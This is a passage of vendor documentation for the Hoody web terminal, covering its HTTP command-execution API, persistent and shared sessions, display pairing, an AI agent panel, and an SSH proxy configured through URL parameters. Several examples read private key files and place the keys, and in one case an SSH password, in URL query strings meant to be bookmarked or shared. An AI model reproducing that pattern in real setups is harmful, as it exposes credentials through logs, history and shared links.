- **[GET /api/v1/terminal/result/\{command_id\}](/api/terminal/commands/#get-apiv1terminalresultcommand_id)** - Poll async command result
  - Returns: `status`, `exit_code`, `stdout`, `stderr`, `duration_ms`
- **[POST /api/v1/terminal/execute/\{command_id\}/abort](/api/terminal/commands/#post-apiv1terminalexecutecommand_idabort)** - Abort a running command (SIGINT or force SIGKILL)
  - Body: `{ "force": false }`
- **[POST /api/v1/terminal/write](/api/terminal/commands/#post-apiv1terminalwrite)** - Type raw input into a session PTY (interactive prompts, y/n, sudo password)
  - Query params: `terminal_id`
  - Body: `{ "input": "text", "enter": true }` — raw byte injection as if typed at a keyboard

**Session Management:**
- **[POST /api/v1/terminal/create](/api/terminal/sessions/#post-apiv1terminalcreate)** - Explicitly create a terminal session
  - Query params: `terminal_id`, `shell`, `user`, `cwd`, `display`, `ssh_host`, ...
- **[GET /api/v1/terminal/sessions](/api/terminal/sessions/#get-apiv1terminalsessions)** - List all active sessions
  - Returns: Local and SSH sessions with status, resource usage, timestamps
- **[DELETE /api/v1/terminal/\{terminal_id\}](/api/terminal/sessions/#delete-apiv1terminalterminal_id)** - Terminate session
  - Kills all processes in the session
- **[GET /api/v1/terminal/history/\{terminal_id\}](/api/terminal/sessions/#get-apiv1terminalhistoryterminal_id)** - Command history
  - Returns: All commands with status, exit codes, duration
- **[GET /api/v1/terminal/raw](/api/terminal/sessions/#get-apiv1terminalraw)** - Export complete output
  - Query params: `terminal_id`, `format` (download|text|html)
- **[GET /api/v1/terminal/screenshot](/api/terminal/sessions/#get-apiv1terminalscreenshot)** - Visual terminal snapshot
  - Query params: `terminal_id`, `format` (png|jpeg|gif), `foreground`, `background`, `fontsize`

**Terminal Automation (TUI Control):**
- **[GET /api/v1/terminal/snapshot](/api/terminal/automation/#get-rendered-terminal-snapshot)** - Read rendered terminal screen (lines, cursor, fullscreen state)
  - Query params: `terminal_id`, `include_colors`, `include_highlights`, `scroll_offset`
- **[GET /api/v1/terminal/find](/api/terminal/automation/#search-terminal-screen-with-regex)** - PCRE2 regex search on screen/scrollback
  - Query params: `terminal_id`, `pattern`, `scope`, `limit`, `case_insensitive`
- **[POST /api/v1/terminal/press](/api/terminal/automation/#send-named-key-presses-to-terminal)** - Send named key presses (mode-aware DECCKM/DECKPAM)
  - Body: `{ "key": "enter" }` or `{ "keys": [...] }`
- **[POST /api/v1/terminal/paste](/api/terminal/automation/#paste-text-into-terminal)** - Bracketed paste with UTF-8 support
  - Body: `{ "text": "...", "bracketed": true }`
- **[POST /api/v1/terminal/wait](/api/terminal/automation/#wait-for-terminal-condition)** - Block until screen settles or regex matches, returns atomic snapshot
  - Body: `{ "mode": "stable|regex|either", "pattern": "...", "timeout_ms": 5000, "debounce_ms": 100 }`
- **[GET /api/v1/terminal/keys](/api/terminal/automation/#list-supported-key-names)** - List supported key names for `/press`
- **[GET /api/v1/terminal/automation/metrics](/api/terminal/automation/#get-terminal-automation-metrics)** - Global vterm metrics (session count, memory used/cap, active waiters)
- **[GET /api/v1/terminal/\{terminal_id\}/automation](/api/terminal/automation/#get-per-session-automation-state)** - Per-session automation state (dimensions, seq, idle ms, alt-screen)

**System Resource Monitoring:**
- **[GET /api/v1/system/resources](/api/terminal/monitoring/#get-system-resources)** - System stats
  - Returns: CPU, memory, disk, network usage
- **[GET /api/v1/system/processes](/api/terminal/monitoring/#list-system-processes)** - List processes
  - Query params: `sort` (cpu|memory|pid), `limit`, `filter` (by name)
- **[GET /api/v1/system/processes/\{pid\}](/api/terminal/monitoring/#get-process-details)** - Process details
  - Returns: Command, working directory, parent/child relationships, environment
- **[POST /api/v1/system/process/signal](/api/terminal/monitoring/#send-signal-to-process)** - Send Unix signals
  - Body: `{"pid": 12345, "signal": "SIGTERM"}` or `{"name": "nginx", "signal": "SIGHUP"}`

**System Control:**
- **[POST /api/v1/system/shutdown](/api/terminal/monitoring/#shutdown-system)** - Shutdown the system
- **[POST /api/v1/system/reboot](/api/terminal/monitoring/#reboot-system)** - Reboot the system

**System Introspection:**
- **[GET /api/v1/system/ports](/api/terminal/monitoring/#list-network-ports)** - List listening ports
  - Query params: `http_only`, `hoody_only`, `user`, `port`
- **[GET /api/v1/system/daemon](/api/terminal/monitoring/#get-daemon-programs-configuration)** - List hoody-daemon programs
  - Returns: hoody-daemon-managed services with status, uptime, configuration
- **[GET /api/v1/system/displays](/api/terminal/monitoring/#get-display-information)** - List X11 displays
  - Returns: Active display sessions, resolutions, users

**WebSocket:**
- **[GET /api/v1/terminal/ws](/api/terminal/sessions/#get-apiv1terminalws)** - WebSocket terminal connection
  - Real-time bidirectional terminal I/O

**Health:**
- **[GET /api/v1/terminal/health](/api/terminal/monitoring/#health-check)** - Service health check

**Web Interface & Authentication:**
- **[GET /](/api/terminal/web-interface/)** - Browser terminal UI
  - 39 query parameters for customization (session, shell, SSH, display, desktop, panel, theme, font, etc.)
- **[GET /api/v1/terminal/openapi.json](/api/terminal/web-interface/#get-openapi-specification-json)** - OpenAPI specification
- **[GET /api/v1/terminal/openapi.yaml](/api/terminal/web-interface/#get-openapi-specification-yaml)** - OpenAPI YAML spec

---

## Core Capabilities

### 1. Web-Native Terminal (Main Entry Point)

**This is how most users access containers—replaces SSH for daily work:**

```
https://{project}-{container}-terminal-1.{server}.containers.hoody.icu
https://{project}-{container}-terminal-2.{server}.containers.hoody.icu
https://{project}-{container}-terminal-3.{server}.containers.hoody.icu
```

**Each number is a separate terminal session in the SAME container:**

- `terminal-1` - Your main terminal session
- `terminal-2` - A second terminal for monitoring logs
- `terminal-3` - A third terminal for running tests

**All in one container.** Switch between them by opening different URLs. Each maintains its own state.

**Open in ANY browser—phone, tablet, laptop, TV**—and you have a full Linux terminal. No SSH client needed. No configuration. Just a URL.

**Key insight:** The number in the URL (`terminal-1`, `terminal-2`) IS the terminal ID. Switching terminals doesn't change containers—you're just opening another shell session in the same computer.

**Your work persists across all terminals:**
- Files you create in terminal-1 are visible in terminal-2
- Services you start in terminal-2 are accessible from terminal-3
- Environment on the container remains consistent
- This is one computer with multiple shell sessions

**Display integration:** Pair a terminal with a display by setting the `display` field when the session is created — the kit then exports `DISPLAY=:N` into that shell. The common convention is to match the numbers:
- `terminal-1` with `display: "1"` → `DISPLAY=:1`
- `terminal-2` with `display: "2"` → `DISPLAY=:2`
- `terminal-5` with `display: "5"` → `DISPLAY=:5`

With that pairing in place, GUI programs you launch in terminal-5 appear in [`display-5`](/kit/displays/). There is no automatic `terminal_id ⇒ DISPLAY` mapping — pass the `display` field explicitly (or `export DISPLAY=:3` inside the shell) to target a given display. This lets you organize applications across displays while controlling from any terminal.


**Shell selection—choose your preferred shell:**

Pre-installed shells: 🐚 **bash** (default) • ⚡ **zsh** • 🐠 **fish** • 📋 **tmux** • 🐚 **sh**

| Shell | Description | Launch |
|-------|-------------|--------|
| 🐚 **bash** | Default shell, universal compatibility | Default or `?shell=bash` |
| ⚡ **zsh** | Modern shell, oh-my-zsh compatible, better completion | `?shell=zsh` or `exec zsh` |
| 🐠 **fish** | Friendly shell, syntax highlighting, autosuggestions | `?shell=fish` or `exec fish` |
| 📋 **tmux** | Terminal multiplexer, shared between web and [SSH](/foundation/networking/ssh/) | `?shell=tmux` |
| 🐚 **sh** | Bourne shell, minimal, POSIX-compliant | `?shell=sh` |

**Quick shell switching:**
```bash
exec zsh   # Switch to zsh
exec fish  # Switch to fish
tmux       # Launch tmux
```

**Changing shells via URL:** When switching shells using the `?shell=` parameter on an **existing session**, use `?reset=true` to ensure a clean start:

```txt
# Recommended: Reset when changing shells
https://PROJECT-CONTAINER-terminal-1.hoody.icu/?shell=zsh&reset=true

# This ensures the new shell starts fresh without inheriting state from the previous shell
```

**Customize via URL parameters:**

```txt
?shell=zsh                  # Shell choice
&fontSize=14                # Larger text
&readonly=true              # View-only mode
&title=Production%20Logs    # Custom title
&panel=https://docs.hoody.com&panel-width=40%  # Side panel with docs
```

**See:** [Web Terminal UI →](/api/terminal/web-interface/) for 39 customization options.

**Access web terminal sessions from [SSH →](/foundation/networking/ssh/):**

tmux sessions are shared between web and SSH access. The terminal number in the URL maps to tmux session ID:

```bash
# Web terminal-3: https://{project}-{container}-terminal-3.{server}.containers.hoody.icu
# SSH to same session:
ssh user@container
tmux attach -t 3

# Now you're in the exact same session as the web terminal
# Edit files, see command history—everything synced
```

This lets you access web terminal sessions from traditional [SSH clients](/foundation/networking/ssh/) while maintaining full session state.

### 2. HTTP Shell Execution (For Automation)

**For scripts and AI agents, use the HTTP API directly:**


  
    ```bash
    # Execute a command in your container
    hoody terminal sessions exec --command "ls -la /app" --wait

    # Run a command asynchronously
    hoody terminal sessions exec --command "npm run build" --no-wait --timeout 300
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });
    const containerClient = await client.withContainer({ id: CONTAINER_ID, project_id: PROJECT_ID, server: SERVER });

    // Execute a shell command (synchronous)
    const result = await containerClient.terminal.execution.execute(
      { command: 'ls -la /app', wait: true },  // request body
      { terminal_id: '1' }  // query params — terminal_id matches the terminal-1 URL
    );
    console.log(result.data.stdout);
    ```
  
  
    ```bash
    curl -X POST "https://$PROJECT-$CONTAINER-terminal-1.$SERVER.containers.hoody.icu/api/v1/terminal/execute" \
      -H "Content-Type: application/json" \
      -d '{"command": "ls -la /app", "wait": true}'
    ```
  




**Response:**
```json
{
  "success": true,
  "command_id": "cmd-123",
  "terminal_id": "1",
  "status": "completed",
  "exit_code": 0,
  "stdout": "total 48\ndrwxr-xr-x 5 user user 4096 Nov 9 14:30 .\n...",
  "stderr": "",
  "duration_ms": 5
}
```

**The breakthrough:** Your entire shell is now accessible to:
- AI agents (can execute commands via HTTP)
- Mobile devices (POST from your phone)
- Other containers (cross-container orchestration)
- Embedded iframes (terminals in documentation)
- Automation scripts (no SSH setup needed)

**The URL terminal number determines which session executes the command:**
- `terminal-1.hoody.icu/execute` → Executes in terminal session 1
- `terminal-2.hoody.icu/execute` → Executes in terminal session 2
- Each session is isolated but in the same container

### 3. Stateful Sessions

**Sessions persist across requests:**

```javascript
// Execute in terminal-1
const terminalUrl = 'https://PROJECT_ID-CONTAINER_ID-terminal-1.SERVER_NAME.containers.hoody.icu';

await fetch(terminalUrl + '/api/v1/terminal/execute', {
  method: 'POST',
  body: JSON.stringify({ command: 'cd /app', wait: true })
});

// Later, same terminal-1 - still in /app directory
await fetch(terminalUrl + '/api/v1/terminal/execute', {
  method: 'POST',
  body: JSON.stringify({ command: 'ls', wait: true })
});
// Lists contents of /app (working directory preserved)
```

**Critical understanding:** Each terminal URL (`terminal-1`, `terminal-2`, `terminal-3`) represents a distinct shell session within the SAME container:

- Files created in terminal-1 are immediately accessible in terminal-2
- Processes started in terminal-2 can be seen from terminal-3
- All terminals share the same filesystem, users, services—it's ONE computer

**State persists within each terminal session:**
- Current working directory (`cd` commands remembered)
- Environment variables (exports remain)
- Shell history
- Background processes
- Open file descriptors

**Work persists across the container:** Files, services, databases—everything remains regardless of which terminal you use.

#### Override Working Directory with `cwd`

**Don't want to `cd` first? Use the `cwd` parameter to execute commands in any directory:**

```javascript
// Execute in /var/log without changing session's working directory
await fetch(terminalUrl + '/api/v1/terminal/execute', {
  method: 'POST',
  body: JSON.stringify({
    command: 'tail -f app.log',
    cwd: '/var/log',
    wait: false
  })
});

// Session's working directory unchanged—next command runs in original location
await fetch(terminalUrl + '/api/v1/terminal/execute', {
  method: 'POST',
  body: JSON.stringify({ command: 'pwd' }) // Still in /home/user
});
```

**Practical uses:**
- **One-off commands in specific directories** - Check logs, run tests, inspect files without navigating
- **Parallel operations** - Different terminals in different directories simultaneously
- **CI/CD workflows** - Execute build commands in consistent locations regardless of session state
- **Scripts** - Always run from the correct directory without `cd` chains

```javascript
// Build frontend and backend simultaneously in different directories
const build = async () => {
  // Terminal-1: Frontend build
  fetch(terminal1Url + '/execute', {
    method: 'POST',
    body: JSON.stringify({
      command: 'npm run build',
      cwd: '/app/frontend',
      wait: false
    })
  });

  // Terminal-2: Backend build (same time)
  fetch(terminal2Url + '/execute', {
    method: 'POST',
    body: JSON.stringify({
      command: 'go build',
      cwd: '/app/backend',
      wait: false
    })
  });
};
```

**Key insight:** `cwd` overrides directory temporarily for that ONE command only—session state remains untouched.

**Important:** The `cwd` parameter affects the command execution directory but **does NOT change the session's working directory**. If the terminal is already running with a different working directory, `cwd` only applies to that single command.

**For guaranteed directory control:** Use `?reset=true` when you need to ensure a specific starting directory:

```txt
# Guarantee terminal starts in /app directory
https://PROJECT-CONTAINER-terminal-1.hoody.icu/?reset=true

# Then use cwd parameter to execute in specific locations
POST /api/v1/terminal/execute
{
  "command": "npm test",
  "cwd": "/app/frontend"  // Executes in /app/frontend, session stays in /home/user
}
```

**Reset + cwd workflow:**
```javascript
// Reset terminal to clean state
await fetch(terminalUrl + '?reset=true');

// Now session is in /home/user
// Use cwd for specific directory execution without changing session
await fetch(terminalUrl + '/api/v1/terminal/execute', {
  method: 'POST',
  body: JSON.stringify({
    command: 'npm run build',
    cwd: '/app/dist'  // Runs in /app/dist, session remains in /home/user
  })
});
```

#### Fresh Start with `reset`

**Need a clean slate? Use `?reset=true` to restart the shell session:**

```txt
https://PROJECT-CONTAINER-terminal-1.hoody.icu/?reset=true
```

**What `reset` does:**
- ✅ Kills all processes in the session
- ✅ Clears environment variables
- ✅ Resets working directory to `/home/user`
- ✅ Clears shell history
- ✅ Fresh `.bashrc` / `.zshrc` execution
- ✅ Removes temporary state and caches

**When to use `reset`:**

```javascript
// After testing that polluted the environment
// URL: ?reset=true
// Result: Clean environment, no leaked variables

// After failed deployment left processes running
// URL: ?reset=true
// Result: All processes killed, fresh start

// After experimenting with system configurations
// URL: ?reset=true
// Result: Back to default state

// Switching between different project contexts
// URL: ?reset=true
// Result: No leftover environment from previous project
```

**Practical workflow:**

```javascript
// Option 1: Reset via URL parameter (web terminal)
window.location = terminalUrl + '?reset=true';

// Option 2: Reset via DELETE endpoint (API)
await fetch(terminalUrl + '/api/v1/terminal/1', {
  method: 'DELETE'  // Kills session, next request creates fresh one
});

// Next command executes in brand new session
await fetch(terminalUrl + '/api/v1/terminal/execute', {
  method: 'POST',
  body: JSON.stringify({ command: 'env' })  // Clean environment
});
```

**Reset vs Delete:**
- **`?reset=true`** - Immediate clean start, auto-reconnects web terminal
- **`DELETE /terminal/{id}`** - Kills session, requires new request to recreate
- Both give you a fresh shell—choose based on whether you're using the web UI or API

**Common scenarios:**
- **Development cycles** - Reset between test runs to avoid state contamination
- **User demos** - Start each demo with a clean environment
- **CI/CD stages** - Reset before each deployment step
- **Troubleshooting** - Eliminate environment issues by starting fresh

### 4. Multiplayer by Default

**Share a terminal URL and everyone types together:**

Multiple users connecting to:
```
https://{project}-{container}-terminal-1.{server}.containers.hoody.icu
```

Each connected client:
- ✅ Sees the same terminal output (the PTY broadcasts to every attached client)
- ✅ Can type commands simultaneously (all share one shell/screen)
- ✅ Can attach read-only with `?readonly=true` (input blocked for that client only — mix read-only viewers with read-write collaborators in the same session)

**Perfect for:**
- Pair programming (both typing in same session)
- Teaching Linux (instructor and students share terminal)
- Customer support (solve issues together)
- Team debugging (everyone sees live output)

**See:** [Multiplayer by Default →](/vision/multiplayer/) for collaboration philosophy.

### 5. Launch GUI Applications Instantly

**The killer feature: Start any GUI program and see it immediately in your browser.**

```bash
# In a terminal paired with display 2 (created with display: "2"), run Firefox
firefox &

# It appears in display-2
# Open: https://{project}-{container}-display-2.{server}.containers.hoody.icu
```

**That's it.** Pair the session with a display, type the command in the terminal URL, and the GUI appears in the matching display URL. No configuration. No setup. **Instant graphical applications.**

**Works with ANY GUI program:**

```bash
# In terminal-3
code /app              # VS Code opens in display-3
libreoffice report.pdf # LibreOffice opens in display-3
gimp photo.jpg         # GIMP opens in display-3
chrome                 # Chrome opens in display-3
```

**Why this is revolutionary:**

Traditional remote desktop: Configure VNC/RDP server, install client, connect to desktop, open terminal, run program (finally).

Hoody: Type command in terminal URL. Program appears in display URL. **Done.**

**Your phone can now run:**
- Terminal URL on phone → Type `code .`
- Display URL on tablet → See VS Code running
- Control from anywhere, view from anywhere

**Perfect for:**
- Quick GUI app testing (start in browser instantly)
- Mobile development workflows (command on phone, view on tablet)
- Teaching (instructor types, students see GUI appear)
- Documentation (embed terminal + display showing live app)

See [Displays →](./displays/) for the full desktop experience.

#### Auto-started display services

The first time a terminal/desktop session for display `N` is created (CLI, SDK call, or URL), Hoody Terminal boots an X server on `:N` and attaches the `dunst` notification daemon to it. That's why the URL trick above just works — and it's also why notifications sent to display `N` via the [Notifications kit](./notifications/) start dispatching as soon as the session exists.

### 6. SSH to Remote Servers (No Client Needed)

**The breakthrough: Manage ANY server from a browser—no SSH client, no keys, no configuration.**

Hoody Terminal becomes your SSH client. Connect to remote servers via HTTP—the Hoody container makes the SSH connection FOR you.

**Traditional SSH workflow:**
1. Install SSH client on your device
2. Generate SSH keys
3. Copy keys to server
4. Remember server addresses and ports
5. Use command line to connect

**Hoody workflow:**
1. Open terminal URL in browser
2. Add SSH parameters to URL
3. You're connected

#### Connect via URL Parameters

**Password authentication:**
```txt
https://PROJECT-CONTAINER-terminal-1.hoody.icu/
  ?ssh_host=production-server.com
  &ssh_user=admin
  &ssh_password=your_password
```

**SSH key authentication:**


**Note on `ssh_key`:** This is the **base64-encoded private key content**, not a file path. The container cannot access paths on your device — the key must be embedded in the request. For CLI/URL use, base64-encode the file first: `base64 -w0 ~/.ssh/id_rsa | jq -sRr @uri`.


```txt
# Base64-encode the key first:
# SSH_KEY=$(base64 -w0 /home/user/.ssh/id_rsa | jq -sRr @uri)
https://PROJECT-CONTAINER-terminal-1.hoody.icu/
  ?ssh_host=192.168.1.100
  &ssh_user=root
  &ssh_key=<base64-encoded-private-key-content>
```

**Custom port:**
```txt
# Base64-encode the key first:
# SSH_KEY=$(base64 -w0 /keys/deploy_key | jq -sRr @uri)
https://PROJECT-CONTAINER-terminal-1.hoody.icu/
  ?ssh_host=server.example.com:2222
  &ssh_user=deploy
  &ssh_key=<base64-encoded-private-key-content>
```

**You're now controlling the remote server—through HTTP—from any device with a browser.**

#### Connect via API (Automation)

**The SSH connection persists—send commands repeatedly to the same remote server:**

```javascript
// Connect to production database server
const remoteSession = await fetch(terminalUrl + '/api/v1/terminal/execute', {
  method: 'POST',
  body: JSON.stringify({
    command: 'systemctl status postgresql',
    wait: true
  }),
  headers: {
    'Content-Type': 'application/json'
  }
}).then(r => r.text());
```

**URL already has SSH params:**
```javascript

// Base64-encode the private key before embedding in the URL
const sshKey = readFileSync('/secure/postgres.key', 'base64');
const terminalUrl = 'https://PROJECT-CONTAINER-terminal-5.hoody.icu' +
  '?ssh_host=db-server.internal' +
  '&ssh_user=postgres' +
  '&ssh_key=' + encodeURIComponent(sshKey);
```

Now every POST to this URL executes commands on `db-server.internal`:

```javascript
// All these execute on the REMOTE server, not the Hoody container
await fetch(terminalUrl + '/api/v1/terminal/execute', {
  method: 'POST',
  body: JSON.stringify({ command: 'pg_dump production > backup.sql' })
});

await fetch(terminalUrl + '/api/v1/terminal/execute', {
  method: 'POST',
  body: JSON.stringify({ command: 'du -sh backup.sql' })
});

await fetch(terminalUrl + '/api/v1/terminal/execute', {
  method: 'POST',
  body: JSON.stringify({ command: 'gzip backup.sql' })
});
```

**The SSH connection stays open—session state persists across requests.**

#### Why This Changes Everything

**Manage servers from phones/tablets:**
- No SSH app needed
- No terminal emulator
- Just a browser and a URL

**Share server access without credentials:**
```txt
https://docs-server-terminal-1.hoody.icu?ssh_host=docs.internal&ssh_user=readonly
```
Send this URL to your team. They can:
- ✅ Execute commands on `docs.internal`
- ✅ Access immediately (no credential setup)
- ✅ View output in browser
- ❌ Never see the actual SSH credentials

**Control via proxy permissions:**
- IP whitelist for production servers
- Password protect staging access
- JWT tokens for automated deployments
- See [Permissions →](/foundation/proxy/permissions/)

#### Practical Remote Server Workflows

**Monitor production logs from phone:**
```txt
# base64 -w0 /keys/aws-prod.pem | jq -sRr @uri  → use that value for ssh_key
https://PROJECT-CONTAINER-terminal-monitor.hoody.icu/
  ?ssh_host=prod-app-1.aws.com
  &ssh_user=ubuntu
  &ssh_key=<base64-encoded-private-key-content>
  &command=tail%20-f%20/var/log/app.log
```

Bookmark this URL. Open on phone. See live production logs—no SSH client needed.

**Multi-server deployment script:**
```javascript
const servers = [
  'web-1.production.com',
  'web-2.production.com',
  'web-3.production.com'
];

// Base64-encode deploy key once before the loop

const deployKey = encodeURIComponent(readFileSync('/secure/deploy.key', 'base64'));

// Deploy to all servers via HTTP
for (const server of servers) {
  const terminalUrl = `https://PROJECT-CONTAINER-terminal-deploy.hoody.icu` +
    `?ssh_host=${server}` +
    `&ssh_user=deploy` +
    `&ssh_key=${deployKey}`;

  await fetch(terminalUrl + '/api/v1/terminal/execute', {
    method: 'POST',
    body: JSON.stringify({
      command: 'cd /app && git pull && systemctl restart app',
      wait: true,
      timeout: 300
    })
  });
  
  console.log(`Deployed to ${server}`);
}
```

**Database backup automation:**
```javascript

// Runs on Hoody container, connects to DB server via SSH, executes backup
const pgKey = encodeURIComponent(readFileSync('/keys/postgres.key', 'base64'));
const backupUrl = 'https://PROJECT-CONTAINER-terminal-backup.hoody.icu' +
  '?ssh_host=db-primary.internal' +
  '&ssh_user=postgres' +
  '&ssh_key=' + pgKey;

// This command runs on db-primary.internal, not Hoody container
await fetch(backupUrl + '/api/v1/terminal/execute', {
  method: 'POST',
  body: JSON.stringify({
    command: `
      pg_dump production | gzip > /backups/prod_$(date +%Y%m%d).sql.gz &&
      aws s3 cp /backups/prod_$(date +%Y%m%d).sql.gz s3://backups/ &&
      echo "Backup complete"
    `,
    wait: true
  })
});
```

**Security audit from phone:**
```txt
# base64 -w0 /keys/security-audit.key | jq -sRr @uri  → use that value for ssh_key
https://PROJECT-CONTAINER-terminal-audit.hoody.icu/
  ?ssh_host=firewall.company.com
  &ssh_user=security
  &ssh_key=<base64-encoded-private-key-content>
  &command=iptables%20-L%20-n%20-v
```

Open URL. See firewall rules. No laptop. No SSH client. Just HTTP.

#### SSH Connection Persistence

**Connections auto-maintain until you reset:**

```javascript

// ssh_key must be base64-encoded private key content, not a file path
const sshKeyB64 = readFileSync('/path/to/key', 'base64');
// Session created with SSH params
const url = terminalUrl + '?ssh_host=server.com&ssh_user=admin&ssh_key=' + encodeURIComponent(sshKeyB64);

// First command: Connects via SSH
await fetch(url + '/execute', { method: 'POST', body: JSON.stringify({ command: 'pwd' }) });

// Subsequent commands: Reuses connection (fast)
await fetch(url + '/execute', { method: 'POST', body: JSON.stringify({ command: 'ls' }) });
await fetch(url + '/execute', { method: 'POST', body: JSON.stringify({ command: 'df -h' }) });

// Connection stays open across requests—no reconnection overhead
```

**Reset to change servers:**
```javascript
// Switch to different server
window.location = terminalUrl +
  '?reset=true' +  // Closes previous SSH connection
  '&ssh_host=new-server.com' +
  '&ssh_user=deploy' +
  // ssh_key must be base64-encoded private key content, not a file path
  '&ssh_key=' + encodeURIComponent(readFileSync('/keys/deploy.key', 'base64'));
```

**Key insights:**
- ✅ SSH connections maintained by Hoody container
- ✅ Your device only uses HTTP (browser/fetch)
- ✅ Sessions persist—fast repeated commands
- ✅ Credentials stored securely in container (keys in `/keys/`)
- ✅ Access control via proxy permissions, not SSH keys
- ✅ Works from ANY device with a browser

**This transforms server management:** Your phone can now control production servers, run database backups, monitor logs, deploy code—all via HTTP, all without an SSH client.

### 7. AI Agent Side Panel (hoody-agent Integration)

**The perfect pairing: Terminal + AI agent side-by-side in one browser window.**

Hoody Terminal supports embedding **hoody-agent** directly in a side panel—giving you an AI assistant that can see your terminal, suggest commands, and help you work.

#### Setup: Terminal with Agent Panel

**Add the agent URL as a side panel:**

```txt
https://PROJECT-CONTAINER-terminal-1.hoody.icu/
  ?panel=https://PROJECT-CONTAINER-workspaces-1.hoody.icu
  &panel-width=40%
```

**What you get:**
- **Left 40%**: Hoody Agent (chat interface, suggestions, explanations)
- **Right 60%**: Terminal (command execution)
- **Same container**: Agent and terminal share filesystem, processes, state

**The workflow:**
1. Ask agent: "How do I find large files?"
2. Agent responds: `du -sh * | sort -h`
3. Execute command in terminal (right side)
4. Agent sees result and offers next step
5. Repeat—AI-assisted shell work

#### Why This Integration is Powerful

**Each terminal can have its own dedicated agent:**

```txt
# Terminal-1 with agent-1 (configured for frontend context)
https://PROJECT-CONTAINER-terminal-1.hoody.icu/
  ?panel=https://PROJECT-CONTAINER-workspaces-1.hoody.icu
  &panel-width=35%

# Terminal-2 with agent-2 (configured for backend context)
https://PROJECT-CONTAINER-terminal-2.hoody.icu/
  ?panel=https://PROJECT-CONTAINER-workspaces-2.hoody.icu
  &panel-width=35%

# Terminal-3 with agent-3 (configured for DevOps context)
https://PROJECT-CONTAINER-terminal-3.hoody.icu/
  ?panel=https://PROJECT-CONTAINER-workspaces-3.hoody.icu
  &panel-width=35%
```

**Each agent instance:**
- ✅ Configured for specific context (via profiles, memory, system prompt)
- ✅ Has access to terminal history in its pane
- ✅ Can see files and processes in the container
- ✅ Provides specialized assistance based on its configuration

**Bookmark these URLs—instant AI-assisted development environments.**

#### Practical Use Cases

**1. Learning Linux/DevOps:**
```txt
https://PROJECT-CONTAINER-terminal-1.hoody.icu/
  ?panel=https://PROJECT-CONTAINER-workspaces-1.hoody.icu
  &panel-width=40%
```

- Ask agent to explain commands before running them
- Agent provides context, flags, common patterns
- Execute in terminal, see results
- Agent explains output and suggests next steps

**2. Debugging Issues:**
```txt
https://PROJECT-CONTAINER-terminal-2.hoody.icu/
  ?panel=https://PROJECT-CONTAINER-workspaces-2.hoody.icu
  &panel-width=35%
```

- Describe problem to agent: "API returning 500 errors"
- Agent suggests diagnostic commands: `tail -f /var/log/app.log`
- Execute commands in terminal
- Agent analyzes logs, suggests fixes
- Apply fixes, agent monitors results

**3. Infrastructure Management:**
```txt
https://PROJECT-CONTAINER-terminal-3.hoody.icu/
  ?panel=https://PROJECT-CONTAINER-workspaces-3.hoody.icu
  &panel-width=40%
  &ssh_host=production-server.com
  &ssh_user=admin
```

- Combined SSH + Agent + Terminal
- SSH to production server (via HTTP)
- Agent helps with server management commands
- Safe infrastructure changes with AI assistance

**4. Code Review + Testing:**
```txt
https://PROJECT-CONTAINER-terminal-4.hoody.icu/
  ?panel=https://PROJECT-CONTAINER-workspaces-4.hoody.icu
  &panel-width=45%
```

- Agent reviews code in `/app/src`
- Suggests improvements and test commands
- Execute tests in terminal: `npm test`
- Agent analyzes test output, suggests fixes
- Iterate until tests pass

#### Agent Panel Features

**What the agent can do from the panel:**
- 📖 **Read files** in the container
- 🔍 **Execute commands** (if you grant permission)
- 📊 **Analyze output** from terminal
- 💡 **Suggest solutions** based on context
- 📝 **Remember conversation** across page reloads (via agent state)
- 🔗 **Access container services** (databases, web servers, etc.)

**Panel width customization:**
```txt
&panel-width=30%   # Smaller panel, more terminal space
&panel-width=50%   # Equal split
&panel-width=60%   # Larger panel for complex agent responses
```

Pick based on your workflow—debugging needs more terminal space, learning needs more agent space.

#### Advanced: Multi-Agent Workflows

**Multiple agents for complex projects:**

```bash
# Frontend terminal with agent-1 (configured for React/TypeScript)
open "https://PROJECT-CONTAINER-terminal-1.hoody.icu/?panel=https://PROJECT-CONTAINER-workspaces-1.hoody.icu"

# Backend terminal with agent-2 (configured for Go/databases)
open "https://PROJECT-CONTAINER-terminal-2.hoody.icu/?panel=https://PROJECT-CONTAINER-workspaces-2.hoody.icu"

# Database terminal with agent-3 (configured for PostgreSQL)
open "https://PROJECT-CONTAINER-terminal-3.hoody.icu/?panel=https://PROJECT-CONTAINER-workspaces-3.hoody.icu&ssh_host=db.internal"
```

**Each agent instance configured differently:**
- agent-1: React/TypeScript context (via profiles and memory)
- agent-2: Go/API context (via profiles and memory)
- agent-3: PostgreSQL/DBA context (via profiles and memory)

**All working in the same container**—files created by one terminal visible to others, services accessible across terminals, perfect for full-stack development.

#### Why This is the Future of Development

**Traditional setup:**
1. Open terminal application
2. Open separate AI chat in browser
3. Switch between them
4. Copy/paste commands and output
5. Context lost between apps

**Hoody setup:**
1. Open one URL (terminal + agent)
2. Agent sees what you type
3. Agent sees command output
4. Suggest, execute, analyze—all in one window
5. Context preserved automatically

**The URL is the environment.** Share the URL, you share the entire setup—terminal, agent, SSH connection, panel layout, everything.

**Perfect for:**
- 🎓 **Teaching** - Instructor shares terminal+agent URL, students learn with AI assistance
- 👥 **Pair Programming** - Both developers see terminal and agent suggestions
- 🐛 **Support** - Share debugging session with AI already analyzing the problem
- 📚 **Documentation** - Embed terminal+agent showing live examples

See [Web Terminal UI →](/api/terminal/web-interface/) for all panel customization options.

### 8. System Introspection

**Query your container's state via HTTP:**


  
    ```bash
    # Get CPU/memory/disk stats
    hoody terminal system resources

    # List running processes sorted by CPU
    hoody terminal processes list --sort cpu --limit 10

    # Check what ports are listening
    hoody terminal system ports

    # View X11 displays
    hoody terminal system display-info
    ```
  
  
    ```typescript
    // Get system resource stats
    const resources = await containerClient.terminal.system.getResources();
    console.log(`CPU: ${resources.data.cpu}%, Memory: ${resources.data.memory}%`);

    // List running processes sorted by CPU
    const procs = await containerClient.terminal.system.listProcesses({ sort: 'cpu', limit: 10 });

    // Check listening ports
    const ports = await containerClient.terminal.system.listPorts();

    // View X11 displays
    const displays = await containerClient.terminal.system.getDisplayInfo();
    ```
  
  
    ```bash
    # Get CPU/memory/disk stats
    curl "https://$PROJECT-$CONTAINER-terminal-1.$SERVER.containers.hoody.icu/api/v1/system/resources"

    # List running processes sorted by CPU
    curl "https://$PROJECT-$CONTAINER-terminal-1.$SERVER.containers.hoody.icu/api/v1/system/processes?sort=cpu&limit=10"

